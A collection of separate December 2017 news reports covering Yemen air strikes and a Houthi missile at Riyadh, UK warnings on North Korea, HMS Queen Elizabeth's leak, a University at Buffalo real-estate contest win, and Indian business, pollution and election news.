Seven strikes on a police compound in Sanaa on December 13 killed at least 43 people when the compound's prison grounds were hit, the office said.

All those victims were reportedly detainees loyal to President Abed Rabbo Mansour Hadi, who is supported by the coalition.

"I think one can assume that that was a mistake," Mr Colville said. "They weren't intending to kill prisoners from their own side."

After originally indicating the death toll was 115, Mr Colville later said it had increased to 136 to include a strike on Friday on a farmhouse in Hodeida that left 20 people dead, including 14 children.

Hundreds of world figures urged the leaders of the US, France and Britain on Tuesday to stop "stoking the flames of war" in impoverished Yemen.

The statement, signed by 355 high-profile figures, marked the 1,000th day of the war, which has turned the poorest Arab country into the world's largest humanitarian crisis.

The signatories included eight Nobel peace laureates, religious leaders, Western lawmakers and rights defenders, as well as US congresswomen Barbara Lee and Pramila Jayapal and congressman Ro Khanna, all Democrats.

"To prevent further catastrophe and famine, Yemen needs an immediate ceasefire; an end to all blockages on access for food, fuel and medical supplies; and investment in a new, inclusive peace process," the statement read.

It appealed to President Donald Trump, UK Prime Minister Theresa May and French President Emmanuel Macron.

"If you don't want the burden of the lives of thousands more Yemeni children on your hands, then the time to act is now. Yemen can't wait any longer," it said.

The appeal also called on the UN Security Council to press Saudi Arabia and its ally the United Arab Emirates, the main pillars of the coalition, to end the war in Yemen. The US-backed coalition is seeking to restore Yemen's internationally recognised government to power.

Over the past three years, more than 10,000 people have been killed and three million displaced amid the coalition's air campaign against the Iranian-backed Houthis and their allies.

Earlier: Saudi royal palace targeted in missile attack as confirmed 115 Yemeni civilians killed in air strikes

The UN human rights office says it has verified the killings of 115 Yemeni civilians and other non-combatants in air strikes carried out over 11 days by the Saudi-led military coalition batting Yemens Shiite rebels.

The news comes as reports emerged this morning that a ballistic missile targeted at the kingdoms royal palace has been shot down by the Saudi-led coalition according to the Reuters news agency

UN Human Rights office spokesman Rupert Colville said UN officials are "deeply concerned" about a surge in civilian casualties from air strikes after the killing earlier this month of Yemens former president, Ali Abdullah Saleh.

Mr Saleh was killed by the rebels, known as Houthis, after apparently switching sides and turning against his former allies.

Mr Colville told reporters the killings occurred in four northern areas from December 6 to 16, including air strikes on Yemens rebel-run TV channel, a hospital in the port city of Hodeida and a series targeting a prison in Sanaa that killed 43.

Meanwhile, a ballistic missile targeted at the kingdoms royal palace has been shot down by the Saudi-led coalition accoridng to the Reuters news agency

Citing local media the agency say there were no immediate reports of injuries.

There has been no official statement from the Saudi government.

Saudi-led coalition says intercepts ballistic missile over Riyadh: al-Arabiya TV https://t.co/cAAg4bYFjM  Reuters (@Reuters) December 19, 2017

- Digital desk, Reuters and AP
The Saudi-led coalition fighting Yemens Shiite rebels says a missile fired over Riyadh has been intercepted.

The Yemeni rebels said they targeted the royal palace in the kingdoms capital.

The announcement by the coalition was carried by Saudi state TV on Tuesday as people in the kingdom posted videos on social media showing a small cloud of smoke rising in the sky.

Mohammed Abdul-Salam, spokesman for the Shiite rebels in Yemen, said they fired a ballistic missile targeting the Yamama palace.

He tweeted that a ballistic Volcano H-2 missile was used in the attack.

It was the second missile fired by the Houthis at Riyadh since November 4.

Last months attack targeted the Saudi capitals airport but was also intercepted.

The Yamama palace is where the Saudi monarch, King Salman, receives visiting foreign dignitaries and senior domestic officials.

The Saudi-led coalition has been fighting in Yemen since March 2015 to defeat the Iran-backed Houthis and reinstate the internationally recognised government of President Abed Rabbo Mansour Hadi, who was forced into exile by the Houthis.
North Korea is currently on the way to developing ballistic missiles which could strike London, the Defence Secretary said as he branded the country a "massive threat".

During a period of heightened nuclear tensions arising from North Koreas military tests, Gavin Williamson also said the country is a "real danger" to Britain.

With US President Donald Trump making clear that America is ready to deal with North Korea if necessary, pressed on whether the UK is also making preparations, Mr Williamson said Britain has to "step up".

"North Korea is a massive threat, theyre a real danger to this country," he told the Evening Standard.

UK Defence Secretary Gavin Williamson. Picture: Dominic Lipinski/PA Wire

"They are currently on the pathway to have ballistic missiles that could strike London.

"This isnt just a problem for the United States, this is a global problem. Britain has to step up in terms of dealing with it, there are threats emerging right around the world.

"Britain is global player, it is a world player.

"We will never hesitate to deal with aggression and threats, and that is what we have been known for doing in the past and that is what we continue to do."

On Monday, Mr Trump unveiled a new US national security strategy which includes strengthening the countrys cyber defence capabilities, and highlighted the threats of "rogue regimes" like North Korea.

America has also publicly blamed the country for the WannaCry cyber attack which hit the NHS and networks around the world.

The presidents homeland security adviser, Tom Bossert, wrote in the Wall Street Journal that they were "directly responsible" for the ransomware attack.

Kim Jong Uns regime has, in recent months, carried out several increasingly sophisticated nuclear tests.

It has also expanded its missile programme to include weapons allegedly capable of striking parts of the US.

Mr Trump has previously ridiculed Mr Kim as Rocket Man and has warned North Korea he will take all measures needed to stop the programme.

Former chief whip Mr Williamson said the UK is working with our allies and is "always planning for the worst and hoping for the best".

"We have got HMS Argyll, HMS Sutherland going up to the region to do operations with our allies; that is something I am very proud that we are doing and we are going to continue to do," he added.

When pressed on whether there is an evacuation plan in place for British citizens in the South Korean capital of Seoul, Mr Williamson declined to answer, stating that he would not go into "operational issues".
The UK's new 3.1bn (3.52bn) aircraft carrier, HMS Queen Elizabeth, is leaking as a result of an issue with a shaft seal.

The warship was only accepted into the Royal Navy fleet by the Queen earlier this month.

At 280m long and with an estimated half-a-century working life, the behemoth is the biggest and most powerful ever built by the UK.

It is understood the vessel has been leaking for some time.

A Royal Navy spokesman said: "An issue with a shaft seal has been identified during HMS Queen Elizabeth's sea trials; this is scheduled for repair while she is alongside at Portsmouth.

"It does not prevent her from sailing again and her sea trials programme will not be affected."

The aircraft carrier weighs 65,000 tonnes and has a top speed in excess of 25 knots.

A number of ship-building yards around the country were involved in the build - these include Govan and Scotstoun in Glasgow, Appledore in Devon, Cammell Laird in Liverpool, A&P on the Tyne in Newcastle and Portsmouth.

Around 10,000 people worked on the construction of the ship, made up in sections at yards around the UK and transported to Rosyth, Fife, where it was assembled.

Speaking ahead of the ship's commissioning earlier this month, Captain Jerry Kyd described it as a "major milestone".

The ship's commanding officer said: "Building aircraft carriers is not for the fainthearted. There are very few countries who can do this around the world."

He later added: "Putting together an aircraft carrier and all its facets and all its bits and pieces is quite a complicated business, (but) one we are looking forward to.

"This (the commissioning) is a major milestone now, it is all systems go really."
A 24-year-old man is facing a slew of felony charges for illegal straw purchase of 21 guns at gun stores, almost exclusively in Bucks County. Leonard Truesdale was arraigned on Wednesday, Nov. 9, 2022, on 21 counts each of making false statements on firearm purchase forms, criminal conspiracy to make false statements on firearm purchase forms and selling or transferring...
UB team wins national real estate case study competition

University at Buffalo real estate development master's students Christopher Tringali and Kevin Turner won first place in the University of Maryland's 2017 Colvin Case Study Challenge for their review of the new Delaware North headquarters in Buffalo.

UB duos case study of new Delaware North headquarters captured this years Colvin Challenge at the University of Maryland

 The programs continued success on the national stage demonstrates not only UBs prominence among an elite field of programs, but Buffalos reputation as a city on the leading edge of innovation in urban development. 

BUFFALO, N.Y.  A duo of University at Buffalo real estate development students won first place in an intercollegiate competition, placing UB and Buffalos story of rebirth on the national stage.

The Colvin Case Study Challenge, sponsored by the University of Marylands Colvin Institute of Real Estate Development, saw entries from 28 real estate development programs across the United States, inviting student teams to document an innovative development project within their own community.

It was the second top finish in the competition in as many years for UBs relatively young master of science in real estate development program, which launched in 2015. UB sent a team to the finals in last years Colvin Case Study Challenge, earning second place.

Making the trip to College Park this year were Christopher Tringali and Kevin Turner, who did an analysis of The Delaware North Building, a 12-story, glass-walled, mixed-use complex in the heart of downtown Buffalo.

The project, which won the 2017 statewide award for Excellence in Mixed-Use Development from the Urban Land Institute, serves as the world headquarters for Delaware North, a global hospitality and food-service enterprise. The $110 million project, owned by Uniland Development Company, also houses other Class A office space, a four-star Westin Hotel and street-front retail and fine dining.

Tringali and Turner placed atop a field that included New York University, the University of Illinois at Urbana-Champaign, and the University of St. Thomas (Minnesota). The students will share the competitions $10,000 prize.

The Colvin Case Study Challenge criteria covered all aspects of the development process, from market analysis and project valuation, to urban design, legal processes and operational issues.

Tringali and Turner brought a powerful combination of skills to the competition. Turner is pursuing masters degrees in both architecture and real estate development. Tringali came to the real estate development program with a bachelors degree in business administration and a concentration in finance from UB, and has several Buffalo development ventures under his belt.

UBs real estate development program also holds an advantage in this regard. Housed in UBs School of Architecture and Planning, the program integrates coursework in architecture, urban design, economic development and law, as well as finance and investment. The majority of the nations real estate development programs are affiliated with business schools.

For Turner, the competition experience put all the pieces of the program together. The competition helped me engage the local development community, and work with professionals in the industry to get an understanding of how design, development, and planning are actually implemented in a built project.

Dean Robert Shibley says the competition is a significant win for UB and Buffalo, a testament to a rising program thats advanced quickly in a competitive field of real estate development programs across the country.

We launched this program in response to a growing need for real estate professionals trained across the spectrum of our built environment and its relationship not only to the economy, but to our communities, the urban fabric, and our natural environment. The programs continued success on the national stage demonstrates not only UBs prominence among an elite field of programs, but Buffalos reputation as a city on the leading edge of innovation in urban development.

Buffalo is the programs primary laboratory, with the citys real estate professionals comprising the bulk of its faculty. The Colvin Case competition is now integrated into the programs coursework to allow for in-depth study in the field, and intensive relationship-building with the development community.

The team was advised by Mark Foerster, senior fellow in real estate development at UB, and adjunct professor David Stebbins.

With our deep industry relationships in Buffalo and major metro areas like New York City, our program gives students great opportunities for real-world projects, and for developing relationships with top professionals, Foerster said. We believe this gives our students a comparative advantage as they start or advance in their careers in commercial real estate.

Indeed, this years competition entry emerged based on strong student networks with developers. Tringali had built a mentoring relationship with Uniland capital markets director Peter Sayadoff, who also serves on the UB real estate development programs professional advisory committee. That connection evolved into an internship at Uniland for Tringali, making The Delaware North Building an obvious choice for the case study when the competition emerged.

Through a research process that included data mining with the Erie County Industrial Development Agency and weekly meetings with Uniland executives, Tringali and Turner looked behind The Delaware North buildings emergence, addressing issues of historic preservation, community engagement, financial structuring, and urban design.

Among their findings was the importance of community outreach in building buy-in for a project that involved the controversial demolition of an existing building. The final design scheme incorporated the original buildings terra cotta features.

Serendipity also came into play. Unilands speculative purchase of the site at the corner of Delaware Avenue and Chippewa Street coincided with a significant real estate dilemma for Delaware North. The company wanted more modern space and was considering relocating to Boston. Unilands successful response to the companys request for proposals ultimately retained an international corporate headquarters, and 350 largely high-paying jobs, for the city.

Executives at Uniland were impressed by the rigor and discipline Tringali and Turner brought to the project. They were well prepared, had insightful questions when we met to discuss the case study, and showed a good understanding of commercial real estate, says Vice President Michael Montante, adding that the knowledge exchange with UB is part of the firms investment in the future of real estate.

With our interns at Uniland, we want to give them real life experiencesprojects that help them learn through active participation. Our goal is to educate future commercial real estate practitioners and prepare them for life after college, Montante said.

Unilands Peter Sayadoff, who met with the pair regularly, agrees: From start to finish, Chris and Kevin were diligent in their research and reporting. Early in the process they established a schedule for completing various parts of the report. They sought outside resources beyond Uniland throughout the entire process to bolster the data and information for the case study. Both Chris and Kevin put forth tremendous effort to complete this project, and are deserving of first place. They earned it.

Tringali graduates this month and has already landed a job as a portfolio manager with Arbor Realty Trust in Buffalo. Turner is heading to New York City for a winter session internship with architecture firm FXFLOWLE.
Campus News

Real estate development students win national contest

UB real estate development master's students Christopher Tringali and Kevin Turner won first place in the University of Maryland's 2017 Colvin Case Study Challenge for their review of the new Delaware North headquarters in Buffalo.

By RACHEL TEAMAN

The programs continued success on the national stage demonstrates not only UBs prominence among an elite field of programs, but Buffalos reputation as a city on the leading edge of innovation in urban development. 

Tringali and Turner brought a powerful combination of skills to the competition. Turner is pursuing masters degrees in both architecture and real estate development. Tringali came to the real estate development program with a bachelors degree in business administration and a concentration in finance from UB, and has several Buffalo development ventures under his belt.

The Colvin Case Study Challenge criteria covered all aspects of the development process, from market analysis and project valuation, to urban design, legal processes and operational issues.

Tringali and Turner placed atop a field that included teams from New York University, the University of Illinois at Urbana-Champaign, and the University of St. Thomas (Minnesota). The students will share the competitions $10,000 prize.

The project, which won the 2017 statewide award for Excellence in Mixed-Use Development from the Urban Land Institute, serves as the world headquarters for Delaware North, a global hospitality and food-service enterprise. The $110 million project, owned by Uniland Development Company, also houses other Class A office space, a four-star Westin Hotel and street-front retail and fine dining.

Making the trip to College Park this year were Christopher Tringali and Kevin Turner, who did an analysis of The Delaware North Building, a 12-story, glass-walled, mixed-use complex in the heart of downtown Buffalo.

It was the second top finish in the competition in as many years for UBs relatively young master of science in real estate development program, which launched in 2015. UB sent a team to the finals in last years Colvin Case Study Challenge, earning second place.

The Colvin Case Study Challenge, sponsored by the University of Marylands Colvin Institute of Real Estate Development, invited student teams to document an innovative development project within their own community. The contest received entries from 28 real estate development programs across the United States.

Two UB real estate development students won first place in an intercollegiate competition, placing UB and Buffalos story of rebirth on the national stage.

UBs real estate development program also holds an advantage in this regard. Housed in the School of Architecture and Planning, the program integrates coursework in architecture, urban design, economic development and law, as well as finance and investment. The majority of the nations real estate development programs are affiliated with business schools.

For Turner, the competition experience put all the pieces of the program together. The competition helped me engage the local development community, and work with professionals in the industry to get an understanding of how design, development and planning are actually implemented in a built project, he says.

Dean Robert Shibley says the competition is a significant win for UB and Buffalo, a testament to a rising program thats advanced quickly in a competitive field of real estate development programs across the country.

We launched this program in response to a growing need for real estate professionals trained across the spectrum of our built environment and its relationship not only to the economy, but to our communities, the urban fabric and our natural environment, Shibley says. The programs continued success on the national stage demonstrates not only UBs prominence among an elite field of programs, but Buffalos reputation as a city on the leading edge of innovation in urban development.

Buffalo is the programs primary laboratory, with the citys real estate professionals comprising the bulk of its faculty. The Colvin Case competition is now integrated into the programs coursework to allow for in-depth study in the field and intensive relationship-building with the development community.

The team was advised by Mark Foerster, senior fellow in real estate development at UB, and adjunct professor David Stebbins. With our deep industry relationships in Buffalo and major metro areas like New York City, our program gives students great opportunities for real-world projects, and for developing relationships with top professionals, Foerster says. We believe this gives our students a comparative advantage as they start or advance in their careers in commercial real estate.

Indeed, this years competition entry emerged based on strong student networks with developers. Tringali had built a mentoring relationship with Uniland capital markets director Peter Sayadoff, who also serves on the UB real estate development programs professional advisory committee. That connection evolved into an internship at Uniland for Tringali, making The Delaware North Building an obvious choice for the case study for the competition.

Through a research process that included data mining with the Erie County Industrial Development Agency and weekly meetings with Uniland executives, Tringali and Turner looked behind The Delaware North buildings emergence, addressing issues of historic preservation, community engagement, financial structuring, and urban design.

Among their findings was the importance of community outreach in building buy-in for a project that involved the controversial demolition of an existing building. The final design scheme incorporated the original buildings terra cotta features.

Serendipity also came into play. Unilands speculative purchase of the site at the corner of Delaware Avenue and Chippewa Street coincided with a significant real estate dilemma for Delaware North. The company wanted more modern space and was considering relocating to Boston. Unilands successful response to the companys request for proposals ultimately retained an international corporate headquarters  and 350 largely high-paying jobs  for the city.

Executives at Uniland were impressed by the rigor and discipline Tringali and Turner brought to the project. They were well prepared, had insightful questions when we met to discuss the case study and showed a good understanding of commercial real estate, says Vice President Michael Montante, adding that the knowledge exchange with UB is part of the firms investment in the future of real estate.

With our interns at Uniland, we want to give them real-life experiences  projects that help them learn through active participation. Our goal is to educate future commercial real estate practitioners and prepare them for life after college, Montante says.

Unilands Sayadoff, who met with the pair regularly, agrees. From start to finish, Chris and Kevin were diligent in their research and reporting. Early in the process they established a schedule for completing various parts of the report. They sought outside resources beyond Uniland throughout the entire process to bolster the data and information for the case study, Sayadoff says. Both Chris and Kevin put forth tremendous effort to complete this project, and are deserving of first place. They earned it.

Tringali graduates this month and has already landed a job as a portfolio manager with Arbor Realty Trust in Buffalo. Turner is heading to New York City for a winter session internship with architecture firm FXFLOWE.
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Telecom operator today said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda.
Clean air is the new offering at the capital's top luxury hotels -- and guess what, it will be without a charge. The next time you enter the capital's popular five-star hotel, ITC Maurya, you will notice a plaque showing the real-time PM2.5 level (pollutants in the air) inside and outside the hotel. The air cleaning system at the hotel, including the 438 rooms, will become operational around Christmas.

Taj Diplomatic Enclave, its neighbour, has also placed natural oxygen emitters and . The hotel has also reduced the use of diesel generators. The Oberoi Delhi, ready to re-open next month after a seven-quarter long renovation, said the renovated property is also equipped with state of the art clean air technology which promises air quality on par with global standards. The capital has been facing an increase in pollution level in the last couple of years. The city's PM2.5 level has breached the prescribed standards by several times.
Fashion e-commerce platform Myntra on Tuesday said it expects 60 per cent of its sales during the upcoming 'End of Reason' sale (EORS) to come from tier II and III cities.

The company, which will host the seventh edition of the EORS between December 22-25, 2017, expects to clock 25 times the sales seen on a normal day, Myntra CEO Ananth Narayanan told PTI.

The company is geared to deliver over 6.5 million products to over 1.9 million customers during the four-day sale.

"This will be the biggest EORS so far. With every edition, the scale has grown and this time too, we expect to see a huge response. We expect to register a 1.5X growth over the previous edition of the sale," he said.

This edition will see participation from over 2,000 brands offering 50-80 per cent discounts.

Jabong, which is a part of Myntra, will also participate in the sale and expects to clock 15 times sales of a normal day.

"EORS is also a great way to get new customers onboard. We expect to acquire 5 lakh new customers through the sale and expect 30 million users to visit our platforms," he said.
Tata Teleservices, Telenor, Videocon Telecom, Quadrant Televentures, and Reliance Jio Infocomm have understated their adjusted gross revenue (AGR) by over Rs 14,800 crore, which has resulted in a shortfall of Rs 1,526.70 crore to the government, according to a report by the Comptroller and Auditor General (CAG) of India.
Electric two-wheeler maker plans to introduce e-bike in a couple of months as part of its plans to scale up operations in the country.

The company, which on Tuesday launched its second electric scooter Praise priced at Rs 59,889, has set a target of selling 50,000 units in the next fiscal.

With its first scooter Pride, launched in January this year, the company expects to close the current fiscal with sales of 5,000 units.

"We plan to launch e-motorcycle in a couple of months. We may follow it with another model later," MD Jeetender Sharma told PTI.

The company also plans to come up with a new manufacturing plant in next couple of years.

"We have tentatively shortlisted some locations and depending on the market we plan to establish a second plant," Sharma said.

The company currently has a plant at Bhiwadi, Rajasthan with an installed capacity of 90,000 units per annum.

Commenting on the new product Praise, Sharma said the model has a range of around 170-200 kilometres on a single charge and can attain a top speed of 75 kilometres per hour.

It also comes with a boot capacity of 19.5 litres and various features like disc brakes, mobile charging point, alloy wheels and different driving modes.
The Ahmedabad bench of the National Company Law Tribunal (NCLT) on Tuesday adjourned an insolvency case against to January 11, 2018.

Reliance Marine & Offshore Ltd, a subsidiary of Reliance Naval and Engineering Ltd and its guarantor, failed to serve a Rs 60 crore loan extended by IFCI, following which the lender approached the NCLT against both in mid-November.
Watching your favourite programmes on TV will pinch your pocket in the New Year as prices of TV sets and set-top boxes are set to rise by 5 per cent from January.
Altogether 114 people were arrested for attacks on journalists for which 189 cases were registered in different parts of the country in the last three years, the Lok Sabha was informed on Tuesday.

Minister of State for Home Hansraj Ahir said 41 people were arrested and 47 cases registered for the attacks on media persons in 2016. As many as 41 people were arrested and 28 cases registered for similar incidents in 2015.

A total of 32 people were arrested and 114 cases registered in various parts of the country for attacks on media persons in 2014, the minister said.

Ahir said in Uttar Pradesh, 67 cases were registered in last three years for attacks on media persons in which seven people were arrested.

In Madhya Pradesh, 50 cases of attacks on media persons were registered, while 56 people arrested in last three years, he added.
The Delhi government on Monday conducted a trial run of an 'Anti-Smog Gun' which sprays atomised water into the atmosphere to control air pollution.

The device, which is connected to a water tank and mounted on a vehicle, could be taken across the city to spray water to settle dust and other suspended particles.

The trial done at the Secretariat on Monday evening was reviewed by Deputy Chief Minister Manish Sisodia and Environment Minister Imran Hussain.

A government official told IANS that further study will be done before taking any decision on using the device.

Sushant Saini, Managing Director of Cloud Tech, the company which manufactured the Anti-Smog Gun, told IANS that it can spray water up to a height of 50 metres and the results were positive as the spray acts like rain and settles dust particles and also PM 2.5.

He said that government would conduct another trial on Wednesday (December 20) at Anand Vihar ISBT and pollutants before and after the trial will be measured.

Saini said the device would cost around Rs 20 lakh but added that no decision has been taken on whether the company would sell the device or provide its services to the government.
Prime Minister Narendra Modi shows his finger marked with indelible ink, as he leaves after casting his vote, during the second phase of state Assembly elections

The BJP on Monday just managed to hold on to power in Gujarat, edging past the half-way mark to clinch a sixth term in government, but wrested Himachal Pradesh from Congress with a comfortable majority.

Overcoming initial setbacks in a seesaw battle, the Bharatiya Janata Party (BJP) bagged 99 seats, seven more than the magic figure of 92 in a House of 182. Putting up an improved performance, the Congress secured 77 seats while its allies got three more. The NCP, which fought alone, got a lone seat and Independents got two.

In contrast, Himachal Pradesh lived up to its reputation of changing the ruler every election, as the BJP comfortably beat Congress, winning 44 of the 68 seats that were up for grabs. The Congress won 21 in the hill state where it had previously held 36 seats. Two seats went to Independents and a lone seat was taken by CPI-M.

Prime Minister Narendra Modi, who put up an aggressive campaign in Gujarat, camping in his home state for days, described the BJP's electoral victory in the state as "historic" as "in this age for a party to keep winning for so long" is unheard of.

In his victory speech at BJP Headquarters in Delhi, Modi said the support for the party showed that "the nation is ready for reform agenda as every citizen wants India transformed".

"I bow to the people of Gujarat and Himachal Pradesh for their affection and trust in the BJP. I assure them that we will leave no stone unturned in furthering the development journey of these states and serve the people tirelessly." In a message to his opponents, he said "let bygones be bygones" in a reference to the coming together of leaders heading caste formations to ally with Congress, to build a new Gujarat.

After Modi's speech, the Central Parliamentary Board of the BJP met at the party headquarters in Delhi and decided to depute Finance Minister Arun Jaitley and General Secretary Saroj Pandey to Gujarat for holding consultations on choosing the new Chief Minister. For Himachal Pradesh, where the chief ministerial face Prem Kumar Dhumal suffered a defeat, Defence Minister Nirmala Sitharaman and Rural Development Minister Narendra Tomar are being sent to decide on a new leader.

While the BJP celebrated all across Gujarat and in Delhi, the 99-seat tally in Gujarat was far less than the 150 seat target set by BJP President Amit Shah and 16 less than what it got in 2012 despite intense campaigning by Modi.

The Congress, whose campaign was spearheaded by its now President Rahul Gandhi, conceded defeat but took a veiled jibe at the BJP.

"My Congress brothers and sisters, you have made me very proud. You are different than those you fought because you fought anger with dignity. You have demonstrated... the Congress' greatest strength is its decency and courage," Gandhi tweeted.

The BJP's overall vote share in the state plunged from 60.11 per cent notched in the 2014 Lok Sabha polls to 49.1 per cent, indicating a sharp erosion in its support base in a state which the party considers its fortress.

The vote share of the Congress, which joined hands with Patidar leader Hardik Patel, Dalit leader Jignesh Mevani and OBC leader Alpesh Thakore, soared from 33.45 per cent of 2014 to 41.4 per cent.

Union Information and Broadcasting Minister Smriti Irani brushed aside reports of BJP's waning support, saying the winner was always the king. "Jo jeeta wo hi Sikander."

The Gujarat election campaign was marked by viciousness that pitted Prime Minister Modi against Congress leaders, including his predecessor Manmohan Singh. It was the first Assembly election in Gujarat after Modi shifted to New Delhi.

In Himachal, the BJP was set to form the government although its two top leaders -- Chief Ministerial candidate P.K. Dhumal and state unit chief Satpal Satti were worsted in the hard-fought contest.

With Himachal in its kitty now, the BJP has 14 states where it has its chief ministers and rules with coalition partners in five others.

Congress is now left with power in just four states -- Punjab, Karnataka, Meghalaya and Mizoram and union territory of Puducherry.

Among the top winners in Gujarat, Chief Minister Vijay Rupani from Rajkot West, a seat formerly occupied by Modi, by a margin of over 50,000 votes. His deputy and Finance Minister Nitinbhai Patel won by 7,951 votes in Mahesana.

The BJP held on in most seats affected by the Patidar agitation, provoking community leader Hardik Patel to complain about faulty Electronic Voting Machines.

While the BJP dominated over the Congress in South, Central and North Gujarat, the Congress held the upper hand in the sprawling Saurashtra/Kutch region. The BJP also proved its sway over urban centres while the Congress seats came mostly from rural regions.

Four of the six Congress turncoat legislators in Gujarat who had bagged BJP tickets lost while some of the Congress' prominent state leaders, including Shaktisinh Gohil and Arjun Modhvadia were also humiliated. All Congress Chief Ministerial contenders lost -- Shaktisinh Gohil (Mandvi), Arjun Modhwadia (Bokhiria) and Siddharth Patel (Dabhoi).

But the BJP suffered a setback in Unjha constituency which includes Modi's hometown Vadnagar where he grew up. Dalit leader Jignesh Mevani, who contested as an independent with Congress support, won from Vadgam seat defeating BJP's nominee Vijay Chakravarti by 19,696 votes.

In Himachal, key winners included outgoing Chief Minister Virbhadra Singh. Among those who lost in the hill state was BJP's Chief Ministerial face P.K. Dhumal and his confidants Ravinder Ravi, Gulab Singh and Randhir Sharma, all outgoing legislators.

(With inputs from Amit Cowper)

--IANS

desai-amc-vg-sar/vsc/rn
The Bharatiya Janata Party (BJP) won 44 of 68 assembly seats in Himachal Pradesh with a vote share of 48.8 per cent, up from 38.47 per cent in 2012. This is the best ever performance by the BJP in terms of vote share since it first contested elections in the state in 1982. The Congress won 21 of 68 seats with a vote share of 41.7 per cent, down from 42.81 per cent in 2012.
HRD Minister Prakash Javadekar on Tuesday said the decision to change the name of an evening college here was not the government's decision and has been put on hold.

Raising the issue during the Zero Hour in the Rajya Sabha, SAD member Naresh Gujral said the "unfortunately" managing committee of the Dyal Singh College recently decided to rename the evening college of the institution as Vande Mataram Mahavidyalaya.

Akali Dal MP Naresh Gujral had said in Rajya Sabha that 'to change the name of a minority institution( Dyal Singh College) was a direct assault on the feelings of Sikhs. Photo: ANI

He said he admitted that the words Vande Mataram evoked patriotic fervour in every Indian and the government should set up Vande Mataram universities all over the country.

"But to change the name of a minority institution is a direct assault on the feelings of Sikhs...I feel this is something to be condemned," the SAD leader said and demanded that managing committee should be replaced immediately.

Responding to this, Javadekar said the renaming was not the decision of the central government.

"Is not a government's decision and the government does not like it. That's why we have asked that the decision be withheld forthwith and an immediate meeting be convened ... we don't like it and such a thing will not happen," the minister said, adding that the Delhi Univesity, with which the college is affiliated, has also been informed.

"Creating unnecessary controversies by playing with emotions is wrong," he added.

Gujral said philanthropist Dyal Singh Majithia had given his entire savings and life to the cause of education and set up several colleges and schools. There is a Dyal Singh College in Lahore also, he said.
For the sixth time in a row, the Bharatiya Janata Party (BJP) has won the Gujarat state assembly elections by a margin of 22 seats, down from 54 seats or a 59 per cent drop from five years ago. The BJP won 99 of 182 seatsthe least it has since it first came to power in 1995 with 121 seats, showed an IndiaSpend analysis of election data of the last 22 years.
Citing a shortage of IAS bureaucrats at the middle-level, the Narendra Modi government has asked all states to spare more officers for central deputation, according to an official communique.

A total of 493 posts out of 1,051 ones earmarked for IAS officers on central deputation are filled, leaving a vacancy of 558 or about 54 per cent.

In a letter to all states, the Department of Personnel and Training (DoPT) said the movement of the officers from states to the Centre and back is crucial for building capabilities at the state-level and contributing towards developing perspectives at the decision-making levels in the government of India.

"It would, therefore, be appropriate considering the fact that there is general shortage of IAS officers at Deputy Secretary/Director level, if a conscious attempt is made while forwarding the names of the officers, so as to share the shortage proportionately between the Centre and the states and also that every eligible officer has an opportunity to serve at the Centre at least once at the middle management level," it said.

Referring to the Central Deputation Reserve (CDR), which determines the extent to which officers could be sent on deputation to the government of India, it asked all the state cadres to nominate eligible officers for Central Staffing Scheme (CSS) or on central deputation.

"The middle level comprising deputy secretary and director level officers is a crucial decision-making level in bureaucracy. The shortage of officers may affect governance," a senior officer said.

However, he clarified, there is a general shortage of such officers at the Centre and the deficiency mentioned in the DoPT letter talks about vacancies in all positions.

West Bengal has deputed 11 of 56 IAS officers, Uttar Pradesh has allowed 50 officers of 121 and Gujarat has sent 19 of 51 officers on central deputation, the letter said, referring to the deficiency.

BJP-ruled Madhya Pradesh has deputed 25 IAS officers out of the CDR of 75, Chhattisgarh has sent only five bureaucrats out of 31 and Haryana has sent 12 officers out of permissible strength of 31, it said.

Similarly, 19 IAS officers out of the authorised central deputation reserve of 35 are working with the Centre.

In Arunachal Pradesh-Goa-Mizoram and Union Territory or AGMUT cadre, 42 IAS officers are on central deputation against the authorised limit of 56.

A total of 38 officers of Assam-Meghalaya cadre, 36 from Bihar and 22 from Himachal Pradesh are working at the Centre against the authorised CDR of 45, 48 and 26 respectively.

As many as 11 IAS officers of Jammu and Kashmir cadre (out of 19), 10 of Jharkhand (against 28), 19 of Karnataka (against 44) and 20 of Maharashtra (out of 65) are deputed at the Centre.

A total of 32 IAS officers of Kerala cadre are at present working at the Centre, two more than the desired central deputation reserve, according to the letter.

The status of IAS officers on central deputation is comparatively slightly better in north eastern states. A total of 12 IAS officers of Manipur cadre, eight of Nagaland, four of Sikkim and 10 of Tripura are on central deputation against the authorised positions of 18, 15, eight and 15 respectively.

As many as 18 IAS officers of Odisha (against authorised CDR of 40), 15 bureaucrats of Punjab (out of 39), 13 of Rajasthan (against 50), 24 of Tamil Nadu(out of 65), 11 of Telangana (against 21) and seven of Uttarakhand (out of 19) are working on central deputation.
Finance Minister Arun Jaitley today stoutly defended the move to set up fast-track courts for dealing exclusively with criminal cases against politicans, saying law makers should take the lead in setting an example.

Responding to opposition concerns in the Rajya Sabha over the message setting up of special courts to try politicians will send, he said Caesar's wife must be above suspicion.

Jaitley, who is also the Leader of the House, said he was of the personal opinion that like Caesar's wife, law makers should be above suspicion.

As elected representatives, can law makers say that their trial should be delayed, he said, asking political parties to rise and set an example.

"You are class apart... you are law makers. You should set the example," he said.

Earlier, opposition parties led by Congress and SP raised the issue of Supreme Court's recent direction to the Centre to draft a scheme for setting up fast-track courts to deal exclusively with criminal cases involving legislators and political persons.

Raising the issue through a 'point-of-order', Naresh Agrawal (SP) said Article 14 of the Constitution provides for equity before law and elected representatives are on par with other citizens.

While there are no special courts for fast-track trial of terrorists and dreaded criminals, setting up one for elected representatives would create misleading perception about politicians, he said.

He questioned the governmnent's affadivit supporting setting up of the fast-track courts.

Anand Sharma (Cong) said while there is no question of delaying prosecution of anyone, it would tantamount to profiling and excessive vilification of law makers if a perception is created that the fast-track courts are needed for the elected representatives only.

The Government, he said, should ensure that enough funds are allocated for creation of enough courts for fast-track trial of all.

But singling out only the elected representatives will create a public perception that would otherwise have an inherent potential of being abused by the government of the day, he said.

Majeed Memon (NCP) said if certain section is treated separately, it may be bordering on infringment of Article 14. Speedy justice should be delivered to all citizens, he added.

KTS Tulsi (Nominated) asked who would do justice to the undertrials languishing in jail for 10-15 years.

C M Ramesh (TDP) however supported the fast-track courts saying it was very correct decision.

Sukhendu Sekhar Roy (TMC) asked if the government would also set up special courts for prosecuting those who have defrauded the country of Rs 8.5 lakh crore.

Chairman M Venkaiah Naidu said he will give a ruling on the point of order at an appropriate time.
